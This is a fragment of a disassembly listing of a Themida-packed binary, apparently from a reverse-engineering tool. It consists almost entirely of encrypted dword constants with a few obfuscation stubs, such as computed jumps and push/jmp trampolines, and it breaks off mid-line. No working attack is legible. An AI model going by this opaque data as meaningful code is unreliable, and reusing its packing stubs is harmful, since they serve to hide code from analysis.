0D48FE7Dh, 0EC21CA51h, 88837D70h dd 6BD9AD3Ah, 5C37FDDAh, 5D4C1EBDh, 67F64D6Ah, 71A65D74h dd 0DCCFA185h, 94265366h, 0ACBEA27Eh, 6148792Dh, 942653E1h dd 594D2905h, 6CA95EDDh, 0B99FBCB8h, 98144902h, 0E2C6A21h dd 0DB10B7DDh, 9E1E4B27h, 0EEA2BE34h, 17E9F201h, 1C3A0414h dd 42517A9Eh, 77961576h, 9E6DD5D4h, 0AD899E18h, 4EF4B7C9h dd 0A69E189Eh, 71EDADCAh, 614C815Fh, 7EB36CBEh, 0BED3A259h dd 447932A9h, 8123B688h, 0F5D24E42h, 0A450853Eh, 1D5E0FCAh dd 8DF00D69h, 8A815F86h, 9E189938h, 299980DCh, 0CD9E1899h dd 0B05B7551h, 9428E09Fh, 976E0267h, 0EA9F76EDh, 17B56FDh dd 0F2CEF492h, 2C4C1745h, 1C8D995Eh, 0A23h, 0F266A949h dd 0D286BD63h, 0E9659E43h, 0CC80BD72h, 0E05C9B4Dh, 0B86C9EEAh dd 9336C579h, 0AB5FD652h, 863DBC70h, 0EF2DD51h, 0D9AEA71Bh dd 0DA623F6Bh, 0C73B7932h, 5EE4A744h, 0B66DCCB4h, 99718DBAh dd 3EFDCFF3h, 8B7B5085h, 4C1E530Ch, 0F29ED98Dh, 0FBE5596Eh dd 61B2F2D2h, 5126083Ah, 0A4B625B4h, 0FC51C4E5h, 984B4267h dd 0DC8B775Bh, 943C5662h, 9653F281h, 397B003Bh, 3E7B30ABh dd 57F9CE52h, 40h, 6004D7B5h, 7CC2802Bh, 46226DCCh, 0DDFA762Ah dd 4B597980h, 0FF180C0Bh, 5356284Ch, 67FC647Eh, 144B0198h dd 34E00460h, 93C87F3Ah, 6471CDB6h, 0DF94943Ch, 1E4CA540h dd 0CE2C397Bh, 9E000000h, 0D0AA96D7h, 146348B1h, 8EC37C37h dd 6741E3E2h, 999D89C2h, 0E477C9BDh, 161A063Bh, 0C2AEED9Fh dd 19D2895Eh, 0F29930E4h, 0F14A01BDh, 4E6DCCA4h, 6DEC6095h dd 83DE6B6h, 483C181Ch, 6D7F5C7Bh, 4BE6D93h, 0E06DCCDCh dd 0A7BC6784h, 3F67FCAAh, 0FB1A67E3h, 0B61B0EE0h, 2E9E0A25h dd 0CDB9FAABh, 928E9469h, 104F01B8h, 0D969203Eh, 3D9E11A5h dd 0C3520CE1h, 69A24721h, 4902B9BDh, 5F8B3014h, 0D1403591h dd 8D5D4C5h, 4BFB0000h, 1FC55408h, 40E574E8h, 1FC45307h dd 3DEF66E2h, 205C4AFEh, 0BBFFEB2h, 2498D98Ch, 2B6F195h dd 2397CC73h, 0ED555428h, 96BD9A8h, 7E3220ACh, 58532D3Fh dd 6DCC7CEAh, 85390E0Ah, 0A4184DF6h, 1EBD5C06h, 1F4C324Ch dd 132DE226h, 1CA655E7h, 316DCC83h, 0D24E427Dh, 0E2873E1Ah dd 0FAD7D4A9h, 0FA67FC83h, 0B2598C3Fh, 943C8210h, 7F5C78F4h dd 0A4F39F7Bh, 943C821Ah, 0CE2BCAF9h, 397A3803h, 0CBE3h dd 79322900h, 0CBD1FE3Bh, 0EEF0DD16h, 84567A9Fh, 0F7D413B5h dd 604B3507h, 6DCC9FE2h, 0C9793002h, 2D6DCC9Fh, 7B381531h dd 24C081C9h, 630F5001h, 0A601DAFFh, 7B65775Bh, 0CCBB3290h dd 8156D26Dh, 0C765D685h, 11BA6DCCh, 32D960DCh, 7E72AB62h dd 762A6107h, 6FAD6FAh, 0AFC11AB9h, 0FCC9E7FCh, 0A723FF67h dd 275E06D5h, 83E2F77Bh, 96956774h, 9E0A052Ch, 0C7926CC8h dd 0E372E625h, 0F3550241h, 9D4035B7h, 7C52089h, 3BEB0000h dd 0FB544F8h, 30D564D8h, 0FB443F7h, 2DDF56D2h, 304C3AEEh dd 5BCF0EC2h, 74E829DCh, 520641E5h, 73E71CC3h, 3D858478h dd 0D96BD9A9h, 7E3250DCh, 530C8B3Fh, 811F4C1Eh, 23D8D6C3h dd 5DEB7388h, 50447932h, 835D9239h, 7C14AE5Dh, 74F06DCCh dd 9E28DF57h, 0D96DCC7Ch, 4200AB3Ah, 0A26DCC7Ch, 0AED0AAC6h dd 0CC7C47FBh, 0A6C39F6Dh, 0D7D2ACD2h, 6DCC7C6Bh, 0D1BA8F8Bh dd 67F64DC8h, 0BB0702DCh, 5B942652h, 65A448FFh, 0C4969288h dd 0F4BCD187h, 0D425124Fh, 2B9792D4h, 0CB94266Ah, 1946734Fh dd 94DF4208h, 0CD8C7489h, 0DE0FE116h, 0C7369E1Dh, 0C4C7997Bh dd 9426B37Eh, 0F9BD9A96h, 0CD823927h, 9980E490h, 9426B329h dd 0D213B6CDh, 559637EEh, 3404BB78h, 566538Eh, 0EF0E4EEDh dd 8658724Eh, 266B3F83h, 3D52D794h, 38CF1E7Dh, 0E698B591h dd 0FE1FA19h, 16535F1Ch, 0DE8BE79Eh, 4032056Ch, 0BC617222h dd 0E2000006h, 0EA71ED30h, 0C84F0B42h, 0E574E821h, 0D2490542h dd 7D6BDF1Eh, 0F231D301h, 0CD0EBF36h, 0A9E48A11h, 0C8FDA635h dd 64271914h, 6BD9AADEh, 32F3B936h, 0E7413B79h, 36CB261Eh dd 0B490CB7Fh, 54F5C49Ah, 14035F13h, 6DCC68AEh, 110DEA46h dd 0AAE79C1Fh, 285D06CDh, 0E57C1F7Ch, 7BB25AE1h, 22571087h dd 0A6E5873Eh, 0DA6176FAh, 7D40FC31h, 336B2234h, 714h dd 76407600h, 8C000001h, 0CC7C4402h, 0E7F4036Dh, 4D0E1615h dd 0B58467F6h, 9B27E20Fh, 7B942653h, 53CFC39Fh, 0D6A88476h dd 0B3275C03h, 5A467B24h, 77B859E0h, 4CF40362h, 9D8C5E93h dd 94265325h, 6F8165C1h, 11965C91h, 0AF47B5C1h, 83A8F19Ah dd 675E9E16h, 989C88C3h, 34350FBCh, 2BFB4032h, 5E2BAh dd 23660800h, 417830A7h, 1E570E8Dh, 3B782BAAh, 1554F87Fh dd 2557B399h, 11884483h, 2CAB1F60h, 0F87F3B76h, 0AB9E1A4Fh dd 0AB68DAD1h, 0F8C6BD9h, 44793285h, 54923950h, 0D4CA438Dh dd 2F9396D7h, 0C76DCC2Eh, 0B76B876Bh, 322C1E2h, 8655275Ch dd 72EEA2E3h, 0D31EE155h, 43336AE3h, 92D5330Ah, 72EEA2DBh dd 15F45345h, 79038h, 40FA0000h, 0A5h, 1EBD5C8Ch, 83D41F4Ch dd 301D52F9h, 9EBB5EADh, 85FCCFBAh, 2A0667F6h, 0F7AB2E50h dd 6B149FBCh, 4F3A2436h, 94268AF3h, 0A75B964Ch, 8257D3CBh dd 51863DBCh, 12C950A5h, 0BB5B5138h, 0EF6B9E1Ch, 6EA75EDDh dd 0BB48759h, 2CD362D6h, 1FB60BF7h, 0A2BCA2BCh, 19595BE7h dd 8A5FBB9Eh, 2920ACA1h, 79DE3A94h, 5E2D53F5h, 0DACBDBh dd 26000005h, 0E8D4184h, 2CAB1F56h, 0F9803C75h, 16A51956h dd 91773372h, 26650775h, 418223B2h, 1D580E8Dh, 3C711AA1h dd 0F8B38D80h, 6BD9A44Ah, 40672DAAh, 15Eh, 1EBD5C8Ch, 5D4C324Ch dd 6DCC7CE5h, 5B482501h, 67F64D68h, 10E48950h, 4D391D5Ch dd 538A38F3h, 0EE6A9426h, 8E05F5D2h, 0B7B09DD8h, 0DBC59C88h dd 16A5B79Bh, 3D23386Dh, 1C90C57Eh, 0C5B1E69Dh, 0B057E9F0h dd 0CD04BC7Bh, 1496D7A9h, 0B8964B39h, 79B257CEh, 0ACD4A98Dh dd 870899D2h, 0FC15644Bh, 253424DFh, 50CC9E1Ch, 0CF04BB7Eh dd 0EE23DC5Bh, 1A26AD02h, 401A3677h, 46FCD879h, 371B170Bh dd 99203E22h, 7CC6C5F4h, 989E18EBh, 693B89Ch, 59405531h dd 6B5C4724h, 739428CCh, 88C652F7h, 0FCA85E2Ch, 422EBh dd 63A64800h, 81B870E7h, 5E974ECDh, 7BB86BEAh, 559438BFh dd 6597F3D9h, 51C884C3h, 6CEB5FA0h, 38BF7BB6h, 0EBDE5A8Fh dd 0A4A81A11h, 4F4C6BD9h, 447932C5h, 0C0FBAF2Ah, 8B7B50D4h dd 0E083530Ch, 76D3BFA3h, 40E74EE5h, 597DBC70h, 35D71AE5h dd 5FB7336Bh, 0C9000000h, 884EF4B7h, 85849233h, 9233883Dh dd 0C9A55DD9h, 0BD5C18B4h, 645D4C1Eh, 6067FCCAh, 0CE378B7Eh dd 4ACF9423h, 39051B56h, 32472BB3h, 5FDAF470h, 0EBD71AAh dd 94237FB1h, 5A0DDD86h, 3927391Dh, 7FDE6427h, 3A369423h dd 237FF74Bh, 94130F94h, 229CB1F0h, 0C1B5EE93h, 36ED8h dd 7C322400h, 5DB5541h, 0CC7CBC06h, 0FFDC586Dh, 0E2568B34h dd 1CE0D3F8h, 0B0EFB07Fh, 3267209Bh, 0D0A0473Eh, 0ECFEE217h dd 6C81B66Dh, 55868DF2h, 0CF0AC07Bh, 562A3F23h, 0FC1A7653h dd 0E0949067h, 238A0DB9h, 3CD3F094h, 7B33F8B9h, 7DD839h dd 0D7320000h, 56FDFD96h, 54F76CD2h, 0EB076B17h dd 73686F0Eh, 0BC81B259h, 6A6367FCh, 3AEB0D6Ch, 0DB35226Bh dd 11C384F0h, 0C7BEC499h, 363AE625h, 180B401Ah, 938C4773h dd 13044DD3h, 0E546426h, 3C1AA71Bh, 0FFE33F94h, 77423CEAh dd 85E195D6h, 1A03BB68h, 6B14943Ch, 1AF94940h, 411D943Ch dd 0B25A7125h, 8B34877Bh, 7194BFF4h, 587010CBh, 59F88B7Ch dd 7A45519Ch, 10B3139h, 0D79B0000h, 7C4002A9h, 0C8A46DCCh dd 4A7F28B3h, 0CD02A930h, 35D7EEB0h, 0D48B0AF6h, 7C4002A9h dd 0C8A46DCCh, 6307D2ACh, 7CCB7732h, 2F2B6DCCh, 0E6035F13h dd 0B5EAA138h, 0F952F9h, 9D466DCCh, 27DB1CCDh, 24B3274Bh dd 0D24C3D7Bh, 38A42807h, 7C9B681Ch, 7A738D5Fh, 0B9DA8179h dd 7DB6A36Fh, 9FAAD663h, 25E69DBAh, 0E19803C5h, 5D7CC985h dd 826ED975h, 5F4AA528h, 942379E3h, 274B2703h, 0C2802B55h dd 22942379h, 5C4F3146h, 9E15B16Eh, 0FEE0FA76h, 319929E0h dd 0A17D9E10h, 1E5D0FCCh, 3A792BAAh, 3405958Dh, 1A8B9B40h dd 1F3h, 82367919h, 0A2164DF3h, 79356E13h, 9C104D02h, 0B02C6B1Dh dd 681C4EBAh, 8326B529h, 5B0F8642h, 762DAC20h, 9EA28D41h dd 0D9A757EBh, 6A32AF6Bh, 239F96D7h, 15E747B8h, 8AC97B38h dd 6BA047CEh, 39EC6F91h, 81280CF8h, 6DCC7EC1h, 0AA344925h dd 1E6809D0h, 4368C1Dh, 6B80646Ah, 1EBD5CE1h, 7C745D4Ch dd 0E97067FCh, 2FF30847h, 58341933h, 80BF7109h, 9AAB9094h dd 0F9A5C285h, 3C6C14B2h, 25BCF794h, 7B25EDC0h, 0CDCD39h dd 323F0000h, 39504479h, 0FDAC5897h, 6DCC004Ch, 0A012CD3h dd 923380B8h, 68E4005Ch, 11053AF1h, 0B4C615A4h, 3F334F5h dd 0E256D298h, 2352D3F8h, 26303A01h, 0B625B451h, 15A4BAA4h dd 0E84C386Fh, 23258141h, 0ACE99E94h, 0A86378F4h, 9E15E873h dd 0EBC76AF1h, 0E12FE35h, 9651532h, 0E6C064F7h, 181C083Dh dd 0AD9E803Ch, 0EF93DA3Ah, 7764C0B4h, 0D3A8DDB8h, 0B8256408h dd 403461D4h, 0E439AA7Ah, 0A000000h, 32A92568h, 1087437Ah dd 2DAC2059h, 0FA813D7Ah, 0A5A31756h, 3A792B59h, 1556F77Eh dd 316C2299h, 1045FE7Dh, 0DCCFB19Ch, 6BD9A066h, 329B217Eh dd 0AE2D3F7Eh, 35A9BEF7h, 0B6C8FDA6h, 50447F23h, 1BF83CCBh dd 0E4C87Ch, 32D573EBh, 39504479h, 84E15D92h, 0AE745D75h dd 7A5F984Dh, 1C38FD30h, 2A94742h, 194767F6h, 2FE4447h dd 1A169426h, 2602D76Bh, 16332F94h, 7D1C0864h, 431D91C6h dd 0B499D078h, 324A390Dh, 864D2A5Dh, 0ADFCA8DDh, 998229Dh dd 9F861D86h, 80F7B3E8h, 1B892C7h, 685F134Ch, 91668ABFh dd 1451F695h, 0C1787660h, 4125D10Eh, 39F8972Ch, 5AE15D92h dd 1F887CB1h, 1Fh, 0C5F29A21h, 9C217CC6h, 0B89C98E8h, 0B99368CCh dd 7C3F215Fh, 21A188C9h, 0C56DCC7Ch, 32B89469h, 52493D80h dd 19B06499h, 4F463A75h, 32A95D9Eh, 34533F7Eh, 26A55190h dd 39504481h, 30A75B94h, 0CF554178h, 504668h, 243C8900h dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch, 0DD682434h dd 89000056h, 6EBE243Ch, 5519504Eh, 924501BDh, 76CD811Ch dd 0C179B631h, 0ED8102E5h, 27E16671h, 315CED81h, 0F58114A8h dd 5695BD81h, 545DEE01h, 81243C8Bh, 4C4h, 4EC8300h, 8F243489h dd 3C8B0847h, 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h dd 5E2434FFh, 0E904C483h, 0FFFAA2B8h, 3F25E4Ch, 0F5B72F9Dh db 8Dh ; --------------------------------------------------------------------------- loc_5A9229: ; CODE XREF: Themida_:005A8608j mov eax, 615DD31h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 9771h ; --------------------------------------------------------------------------- sbb al, 2Dh retn 992Eh ; --------------------------------------------------------------------------- db 7Ah, 5Eh, 61h dd 7BE80188h, 0CA3B521Ch, 5F552C34h, 0F4EC12AAh, 0CFB271ACh dd 0BEB1030Ah, 0DC704E22h, 8F063B6Fh, 53D8000Ch, 6CAD7D13h dd 0EDCD7315h, 9C1C0333h, 171A0917h, 0B4C0F5Ah, 0B62B5AFDh dd 0BC665214h, 1FB45DC5h, 4A9F1FC3h, 7DCB7556h, 0AF154115h dd 4B130DA5h, 29001A9h, 0DE41D0Ah, 7625307h, 0E7F8644Eh dd 16E92838h, 7F000000h, 9C406A99h, 77E733h, 3 dup(0) dd 0D4BE900h, 0E8680000h, 0E90615DFh, 0FFFAA20Ch, 15E0D368h dd 0A202E906h, 2768FFFAh, 0E90615E2h, 0FFFAA1F8h, 15E37F68h dd 0A1EEE906h, 568FFFAh, 0E90615E5h, 0FFFAA1E4h, 15E79768h dd 0A1DAE906h, 0E68FFFAh, 0E90615E9h, 0FFFAA1D0h, 15EA3668h dd 0A1C6E906h, 0DB8BFFFAh, 0EF952498h, 0D07504B8h, 0EF942397h dd 0CD7FF6B2h, 0D02C1A8Eh, 0FBAFEEA2h, 0D488C97Ch, 0F266A145h dd 0D387BC63h, 9D25E4D8h, 796BD9A2h, 7932B07Ch, 92395044h dd 7584E15Dh, 0B4959466h, 5267FC11h, 969929E0h, 0A17D9423h dd 0DC5FD1C5h, 1E02EE23h, 96E46249h, 6C079423h, 3FBD10D5h dd 359D397Bh, 0EF000000h, 4C1EBD5Ch, 0FC7C745Dh, 0E9A09267h dd 943C7C59h, 2C06BBDh, 0E2943C7Ch, 9A866A86h, 3C7C73CBh dd 42E19294h, 7B3666A7h, 0F34639h, 81380000h, 0EFB592CDh dd 2A447932h, 0A0BDFEAFh, 6B45E7DEh, 0A7627CB7h, 6DCC7C1Bh dd 4F431FFBh, 0A65A8F38h, 2943782Fh, 83EE5457h, 25E49233h dd 9233839Dh, 8E05FD79h, 6EF29ED7h, 0AC17552h, 9233FF6Dh dd 0B874A962h, 0D6B253E6h, 27DBF72Eh, 0FEA52E4Bh, 0E2C9B7C9h dd 92338660h, 0D3D3A884h, 1B0ED7DEh, 923386A7h, 0EDFFE33Fh dd 3F0253Eh, 0E965C198h, 20C37D9Ch, 0B66A9F48h, 6B1F96BAh dd 243A1430h, 0F4B3F495h, 503B1051h, 9E1558E3h, 841DCC01h dd 0B0CFB83Ah, 718BE79Bh, 530746EAh, 7CE120C4h, 40357E7Bh dd 145A4B5Bh, 4A00000Bh, 72E965A8h, 50C783BAh, 6DEC6099h dd 3AC17DBAh, 0E5E35796h, 7AB96B99h, 559637BEh, 71AC62D9h dd 50853EBDh, 1C0FF1DCh, 6BD9A3A6h, 0D7DB613Eh, 7C4002A9h dd 0C8A46DCCh, 4C215E11h, 2A9EDD8Fh, 0BBFF4ABh, 2A9D77Dh dd 6DCC7C40h, 5F11C8A4h, 0DBF07420h, 5E706B8Ah, 0FC7C86ABh dd 0F0A48067h, 23831DA9h, 3E7F3294h, 558E3352h, 1EB50EA1h dd 13B2C1B2h, 427F24B7h, 2F5D24Eh, 397B36AFh, 0A88Fh, 7932FD00h dd 97395044h, 90FDAC58h, 0A76DCC00h, 880FCB00h, 9BD0AADFh dd 6E318522h, 21DDFAECh, 0C49645D4h, 314DCC5h, 0AA1EFA98h dd 431DBE55h, 15BEFA48h, 2C3E1A9Eh, 0A5E68752h, 0DB5875F1h dd 4910EA29h, 27C861A5h, 0DD87878Bh, 4F8E42F9h, 34AABFA3h dd 832903A5h, 28C3284Ch, 0E44034EFh, 0A29A730h, 0AF5F0000h dd 0C369F06Ch, 0A449D08Ch, 0C368EF6Bh, 0A143D286h, 8400E662h dd 0B773B256h, 904C8D40h, 0AE2A6509h, 8F4B8027h, 59E9A09Ch dd 0BD6BD99Ch, 7E3254E0h, 2AB18B3Fh, 0BEFDAF83h, 5572EEA2h dd 3CF025DEh, 4E7932AEh, 0CC7CE75Bh, 3F23FF6Dh, 568B3453h dd 65767DE2h, 1E3FA08Bh, 6BC767FCh, 637F5C91h, 7318EDDCh dd 4401A856h, 0A994233Dh, 337E7B1Ah, 13397BE9h, 6A8h, 1EBD5C79h dd 5D4C324Ch, 6DCC7CE5h, 2A62501h, 64FDA6C3h, 8267FC1Fh dd 391D560Bh, 0A1A01E4Dh, 30439423h, 4C795491h, 7959397Bh dd 0B3000006h, 4C1EBD5Ch, 0FC20CC5Dh, 927EDA67h, 23A17BC3h dd 4AE99A94h, 7B4D5EAFh, 65A3E39h, 158C0000h, 3BA037BAh dd 20F96A21h, 0E5FB67FCh, 23A09C26h, 0DFFC7894h, 0D3843F1Bh dd 6016FA52h, 0CD75344Ah, 290016CEh, 46CD304Dh, 9FD0BB95h dd 50A26A2h, 0AB578E36h, 1D39782Ch, 0CDE3A40h, 0D27F8DDFh dd 14E9887Fh, 2A169D12h, 0A07E3F85h, 1F413DD5h, 0EFD34F43h dd 5AE62EDDh, 0C29E0036h, 0F995D6A8h, 0DAC26296h, 5F1348FFh dd 0EBFADF03h, 0E1F86CEFh, 1BC48F6Ch, 0A44514E6h, 49D08663h dd 0E3006DA2h, 0ABD252A9h, 8D5EAFBh, 5B0B0000h, 6F15A418h dd 50F58438h, 6F14A317h, 4DFF7632h, 50AC9A0Eh, 7B2F6E22h dd 540849FCh, 72E621C5h, 53073CE3h, 1DA56458h, 0F96BD99Eh dd 96D730FCh, 751849B1h, 0D40C0734h, 0EB2CDD5Ch, 739E450Eh dd 0CC430AB8h, 526EEA6Dh, 19C2519Eh, 92CF7447h, 4B376C13h dd 3BEE12E7h, 67F665C3h, 0D33CB69Bh, 7EB6E623h, 0F73FE662h dd 639426AEh, 0E01DD289h, 5F817B0Bh, 26AE16ACh, 269EE94h dd 95DB557Eh, 9497698Dh, 94269B2Eh, 0C68D6AC6h, 0F74E81Dh dd 0E3FDCF0Ch, 269B9A28h, 0C99E7A94h, 9B56F4B7h, 0B2AE9426h dd 0EB20C7BEh, 99C3DC11h, 8191E390h, 9B33F26Ch, 0AC94267Eh dd 7CC6C5F6h, 9894267Eh, 0A5A6B89Ch, 39A4D4BBh, 0A41A2F15h dd 4D396E15h, 2619A01Eh, 6B0A9994h, 70EC21CAh, 190D42E9h dd 2689F452h, 6AA54994h, 306B1FB6h, 0DD740744h, 17AE45EFh dd 4E20550Eh, 9C97930h, 312D9426h, 0C499D47Ah, 13F89FAh dd 32030000h, 39504479h, 0CD0EBF95h, 0D00DC2D9h, 40244024h dd 0AD5FDA54h, 10B2596Eh, 2D6DCC7Ch, 60554176h, 0C1688259h dd 67F65A45h, 4A933C21h, 577B76C0h, 0A78B77B4h, 48FAB1CBh dd 0AC9426E0h, 0C02794B0h, 6C4A02C9h, 77D2FB8h, 13B30000h dd 27DD5CD0h, 8BD3CF0h, 27DC5BCFh, 45E76EEAh, 28545206h dd 63D716BAh, 3CF031D4h, 5ACE09BDh, 3BEF24DBh, 5BD6C50h dd 0E16BD99Fh, 79323804h, 97395044h, 0BD458658h, 8FCE96C8h dd 3A71178Eh, 6C22991Dh, 45FE7D31h, 6B1D9C10h, 0AF61782Ch dd 5E058470h, 0A95E7D29h, 12B1B86Ch, 2B504D73h, 1A73294h dd 342223C1h, 587CCAE8h, 3A14B883h, 0CBA75B92h, 0A56833A7h dd 15336AF9h, 2485DD8h, 7A2EF19Fh, 7EB473Bh, 8C619850h dd 19E4h, 0DBF1DA00h, 0F29C7C68h, 4021ABC0h, 0A8h, 0D3490B40h dd 0D2E89216h, 79322FF5h, 0BD095044h, 9F6DCC0Ch, 3BE44DE4h dd 1F0AF406h, 92338CA3h, 5E934C43h, 0E221C382h, 0A115322Eh dd 4D39741Ah, 338CA11Eh, 92D37692h, 0A41E7DEh, 0DD652416h dd 3992338Ch, 0D66D0E3Dh, 1DB483EAh, 77336E14h, 417C32F1h dd 55903655h, 38D7ECA1h, 2C671B9Eh, 0A3DE844Fh, 9405A4C9h dd 7968F552h, 0CCE73092h, 7C58D46Dh, 7B30D75Fh, 0E96DCC9Fh dd 0FDD86204h, 9382FBDEh, 6DCC392Fh, 94876BC7h, 336AE538h dd 0FFFE7E1Ah, 96D770FFh, 0F2A6E9ADh, 0EB372F3h, 2D49F8D5h dd 0C3000003h, 5B4E7932h, 6DCC7CE7h, 533F23FFh, 0CC7CAA04h dd 0F58C2B6Dh, 8A3E732Ch, 731F540Bh, 0CC7C8A24h, 0CF04BB6Dh dd 9447CE23h, 5A37CFBAh, 53CF67F6h, 27795E6h, 0E8F1A54Ah dd 5F7h, 7E3A7D2Dh, 9E1A51F7h, 85397217h, 981451F6h, 7C306F21h dd 4C00728Eh, 27CA510Dh, 3FE372E6h, 1AD14804h, 7A8669E5h dd 0D999338Fh, 4ED6D36Bh, 50447932h, 86589739h, 913612B3h dd 0A0847054h, 0B22913CBh, 0B9D0C4F9h, 0E3F8DC13h, 0BE7AAF58h dd 0A9609537h, 6DCC7C19h, 2B4521FDh, 64CAF342h, 55725BEEh dd 3F7E32A9h, 0CE65F653h, 0D286C567h, 6B6CC607h, 276A633h dd 5CE40000h, 3F661AC1h, 6EDF7BB5h, 65801F54h, 325A288Ch dd 25F6Ch, 4D7DE00h, 0A6E18561h, 0CD50ADCAh, 49FCCC73h dd 0F608EC08h, 9185BE63h, 33721695h, 0FB474216h, 1B6DCC7Ch dd 8804533Fh, 476EDF7Bh, 80BD72E9h, 0BC39D86Bh, 325A28F1h dd 0F736DA61h, 21E6EE2h, 5CDC0000h, 1E401AC1h, 0CC7CD76Bh dd 16332F6Dh, 7CE74742h, 431F6DCCh, 7B8C084Fh, 0C77D6EDFh dd 41E5E490h, 0F9881A06h, 0EE25DB5Ah, 51421E02h, 0B80A01DFh dd 5C6CDD7Dh, 0B958EB00h, 5A28713Ch, 1DA5132h, 5CBB0000h dd 49401AC1h, 6DCC7CE1h, 0E5D4925h, 6EDF7B82h, 0E591D273h dd 1A063FE6h, 765AF988h, 9A5FF68Dh, 325A2957h, 1AF37h dd 79329500h, 0FB185C3Bh, 3F11FC4Bh dd 0CCF9F64Ch, 2E120E6Dh, 679C4342h, 9F709F3h, 0CCF9A022h dd 41E8446Dh, 6DCCF981h, 91F40965h, 84875982h, 67FC94A7h dd 964E0D5Fh, 130AB85Fh, 0D3EA943Ch, 0F4D0F42Fh, 70AB5FDAh dd 42FCAB5Bh, 0A1943C13h, 9B767312h, 7B397ABAh, 46h, 0F996D7D1h dd 6E6F62B5h, 601BFBF0h, 320E1452h, 0AA31C815h, 0EAF8D9D0h dd 0A71E67FCh, 5BD7CB00h, 36371D6Eh, 0A2BEFF9Eh, 0F71FA7EEh dd 0C5FE943Ch, 782DAC2Eh, 0A8E1883Fh, 9C6378FCh, 397AAB51h dd 0EA31h, 79329B00h, 97395044h, 0CB38658h, 2D49883Ch dd 1EE0FD79h, 0D7CB00A7h, 953707C0h, 0F0EF674Dh, 75518F13h dd 0E0CBA581h, 6DCCBC62h, 0ECAA682h, 0EB57522Ch, 0B6DCCBCh dd 24513A0Fh, 0C06DCCC0h, 0C057EB9Eh, 0B3AF6DCCh, 31661D96h dd 4A91287Dh, 0D48B4E30h, 40245D04h, 932FDA54h, 736DCCC0h dd 5FEDBF7h, 67FA0D3Fh, 62E0CBB5h, 8294227Bh, 42792FA6h dd 8037525h, 94227BBAh, 0B0C1A725h, 2AE2F186h, 2638122Eh dd 9CB1F293h, 1C2E6D1Fh, 0F9ADEA9Dh, 4D6607Dh, 0AB579035h dd 463A772Ch, 6AF106EAh, 0A3E287C6h, 0EF4A0601h, 365AE37h dd 0EB9B0000h, 0FFA534A8h, 0E08514C8h, 0FFA433A7h, 0DD8F06C2h dd 0C03C2A9Eh, 2B9FDE92h, 4B8F9ACh, 2296D175h, 3B7EC93h dd 0CD753408h, 296BD99Bh, 7E3200CCh, 530C8B3Fh, 321CAA1Eh dd 39504479h, 0D00DC292h, 349138F4h, 356DCC7Ch, 98233D9Eh dd 4DF6B5F4h, 6E1D4318h, 67FC2BE5h, 3894521h, 50447932h dd 8C55EDDEh, 0A32AC7FEh, 0CC175AE8h, 825EBA6Dh, 35EE65h dd 0FBE0F74Ch, 7A012AE1h, 58E367FCh, 9E6479B0h, 95D6A8C2h dd 93238238h, 60E2C946h, 84943CCDh, 457A31A8h, 6F8D551h dd 3CCDE75Fh, 0D66D0694h, 7A78BA13h, 479A39h, 0D7F00000h dd 6F235E04h, 7087D6F3h, 916F916Bh, 0CC7C289Ah, 7B50CC6Dh dd 0FC7CA390h, 1B076367h, 270E3F21h, 0CAF9305Bh, 5202C067h dd 681B9423h, 3FB772Bh, 0ED595227h, 10942352h, 0D819DC73h dd 0B8397C07h, 0DEh, 4E793212h, 0CC7CE75Bh, 5990386Dh dd 0FDA9CDA9h, 14AE5D83h, 0F06DCC7Ch, 28DC5774h, 0E59E3DE9h dd 1EC5C4B0h, 785C994Eh, 74516566h, 0EBD46E1Dh, 34306DCCh dd 64606107h, 8B6084BDh, 0DA7B14D3h, 934C6DCCh, 0B46BEA5Eh dd 971E937Fh, 0BA7F2A44h, 4C67FCDAh, 0F0075CD0h, 0DDC11EBh dd 0D811B8EEh, 0C5779FF3h, 0E1D9D0A8h, 59E0A5Ch, 0E0845729h dd 0FAAE2DA1h, 7AC90EBBh, 75214036h, 1EE64h, 3F822400h dd 1D540C8Bh, 3A731AA1h, 1754F77Eh, 317014A3h, 1738F7Dh dd 1D9C104Fh, 28AF2B6Ch, 4934782h, 0B7B2265Bh, 957CC6C5h dd 1B986BD9h, 0D196D791h, 6D468AB5h, 0DE92491Eh, 0F3AC2B9Fh dd 0B2BFACBEh, 6B49A90Ah, 9E803613h, 5138651Bh, 6DCCA2F1h dd 493D1915h, 7BBA6EEDh, 0A9D7C65Eh, 0CC7C4002h, 35236F6Dh dd 0D40C8838h, 0C8FFA51Ch, 5F7C58DCh, 0AE4F7FEh, 83C465F4h dd 5294BD66h, 7267FCh, 3C51B909h, 0E5015D94h, 6A213F31h dd 943C51D8h, 200BE03Ch, 943C51A6h, 0BD70EB45h, 25BC5F7Ch dd 7B08EDC0h, 0BDCD39h, 323F0000h, 0DE504479h, 0B66AA95Bh dd 72169DBAh, 7F183F33h, 506DCC00h, 63886297h, 0E5ACEFAFh dd 3BC7B03h, 293E22CEh, 487D26B5h, 8B50675Ch, 2171BA71h dd 0DF39803h, 2366A41Eh, 0F7E44094h, 9EEA1975h, 0F1B1C67Fh dd 4D6CB975h, 1CCDBC8Eh, 889E1559h, 0BE01FD1h, 7A411B17h dd 942397D6h, 0DD03A8F0h, 3F762758h, 11BCF64Ch, 2E120E9Eh dd 956AA512h, 0CEC64035h, 0C6C5h, 74AFC00h, 0E51CC453h dd 23BF269h, 0DF1CCF46h, 0F938EC6Bh, 0C93B4745h, 0E574E827h dd 0D0470344h, 0EC6BDF1Ah, 5F4AFE33h, 9614AE5Dh, 0F3F06BD9h dd 296D729h, 0C81159A5h, 3A52E4Bh, 0DA9108C4h, 32A329A5h dd 0F3A43B79h, 47967AB3h, 0B9BD69A2h, 0CECDB99Dh, 176CE015h dd 0A01DB00h, 67F6F5F0h, 7646FD94h, 92AE92D3h, 0B40E7DEh dd 0EA1FC84Fh, 20836F36h, 6BCDFA5h, 0CC0D7CBh, 0FDA6D9CDh dd 0F5E05166h, 7316ED73h, 4CE3BC4Fh, 55093EE5h, 16E81DC6h dd 0B561A243h, 90EA9CB1h, 80EFD35Bh, 4419A74Bh, 0EB97D477h dd 2FAB4AF9h, 0C8BCF5ACh, 1BC48F6Ch, 0D18872E6h, 500BE01Fh dd 25AE6297h, 3, 326D5F97h, 52493D80h, 19B06499h, 4F463A75h dd 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h, 30A75B94h dd 0CF554178h, 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch dd 0C8682434h, 8900003Ah, 0DE682434h, 8900000Fh, 0A768242Ch dd 8B0615DEh, 